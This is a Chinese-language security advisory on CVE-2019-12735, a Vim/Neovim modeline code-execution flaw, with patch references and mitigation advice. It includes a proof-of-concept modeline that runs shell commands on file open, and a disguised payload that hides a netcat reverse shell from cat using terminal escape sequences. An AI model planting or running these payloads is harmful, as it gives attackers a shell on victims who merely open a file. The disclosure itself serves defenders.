Vim和Neovim任意代碼執行漏洞安全通告
發布時間 2019-06-06漏洞編號和級別
CVE編號:CVE-2019-12735,危險級別:高危,CVSS分值:8.6
受影響的版本
Neovim < 0.3.6
漏洞概述
Vim是一款功能強大、高度可定制的文本編輯器。由于Vim在代碼補全、編譯及方便編程等方面非常強大,因此在程序員中被廣泛使用,成為類Unix系統用戶最喜歡的文本編輯器之一。
文本編輯器Vim/Neovim存在嚴重漏洞,通過打開特別構造的文本文件,模式行選項未被禁用的話,就可導致Vim/Neovim任意代碼執行漏洞。漏洞成因是模式行中僅允許選項子集,如果選項的值包含一個表達式,就可以在沙箱中運行。:source! 命令可繞過沙箱,它可以從既定文件中讀取并執行命令,因此可以輕松構建在沙箱外允許運行代碼的模式行。
漏洞驗證
POC: https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md。
測試版本如下:

1、創建poc.txt
:!uname -a&&whoami||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
2、確保未禁用modeline選項(:set modeline)
使用如下命令查看命令位置
如下:
3、在vim中打開該txt
然后系統會執行 uname -a&&whoami
第二種,創建反彈shell
此外,當使用cat打印內容時,PoC使用終端轉義序列來隱藏命令行。(而使用cat -v可以顯示實際內容。)
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n
修復建議
升級到Vim 8.1.1365、Neovim 0.3.6或以上版本,此外建議禁用模式行,使用securemodelines插件。
https://github.com/vim/vim/commit/5357552
https://github.com/neovim/neovim/pull/10082
https://github.com/neovim/neovim/releases/tag/v0.3.6
參考鏈接